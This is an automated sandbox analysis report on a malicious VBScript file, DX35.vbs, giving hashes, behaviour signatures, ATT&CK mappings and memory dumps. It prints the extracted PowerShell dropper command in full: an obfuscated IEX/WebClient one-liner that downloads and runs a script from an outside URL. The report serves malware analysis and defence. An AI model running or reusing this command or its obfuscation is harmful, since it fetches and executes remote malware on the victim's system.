a75682a8be7a7470d0afbcb52b78fd4062fd4a719179730fe3ae6ce836a67a61

Analysis

max time kernel
7s
max time network
11s
platform
windows7_x64
resource
win7v20210410
submitted
02-05-2021 05:27

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General

Target

DX35.vbs
Size

978B
MD5

bcbad24347e93a0508784f3b4301b7eb
SHA1

e53eebe440a13db0d356aba83a7e7163dcb5b09f
SHA256

a75682a8be7a7470d0afbcb52b78fd4062fd4a719179730fe3ae6ce836a67a61
SHA512

3bfd946bcd9a06d15bb69a938865763d35dde92992d4cfb9b5065e5397803bf486eb57f2bdd83d59badea7afbddc45ce0920f139fe11107688e2bb781ce4a98b

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://nyc002.hawkhost.com/~mazenne1/ITR/ls.txt

Signatures

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

6 1504 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

1504 powershell.exe
1504 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1504 powershell.exe

flow	pid	process
6	1504	powershell.exe

pid	process
1504	powershell.exe
1504	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1504	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

WScript.exe

description	pid	process	target process
PID 788 wrote to memory of 1504	788	WScript.exe	powershell.exe
PID 788 wrote to memory of 1504	788	WScript.exe	powershell.exe
PID 788 wrote to memory of 1504	788	WScript.exe	powershell.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\DX35.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:788

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" I`E`X((n`e`W`-Obj`E`c`T(('Net'+'.'+'Webc'+'lient'))).(('D'+'o'+'w'+'n'+'l'+'o'+'a'+'d'+'s'+'tri'+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+'n'+'g')).INVOKE((('https://nyc002.hawkhost.com/~mazenne1/ITR/ls.txt'))))
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1504

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/788-60-0x000007FEFBC81000-0x000007FEFBC83000-memory.dmp

Filesize
8KB

Download
memory/1504-61-0x0000000000000000-mapping.dmp

Download
memory/1504-63-0x0000000002300000-0x0000000002301000-memory.dmp

Filesize
4KB

Download
memory/1504-64-0x000000001ACE0000-0x000000001ACE1000-memory.dmp

Filesize
4KB

Download
memory/1504-65-0x0000000002340000-0x0000000002341000-memory.dmp

Filesize
4KB

Download
memory/1504-66-0x000000001AC60000-0x000000001AC62000-memory.dmp

Filesize
8KB

Download
memory/1504-67-0x000000001AC64000-0x000000001AC66000-memory.dmp

Filesize
8KB

Download
memory/1504-68-0x0000000001EB0000-0x0000000001EB1000-memory.dmp

Filesize
4KB

Download
memory/1504-69-0x000000001C400000-0x000000001C401000-memory.dmp

Filesize
4KB

Download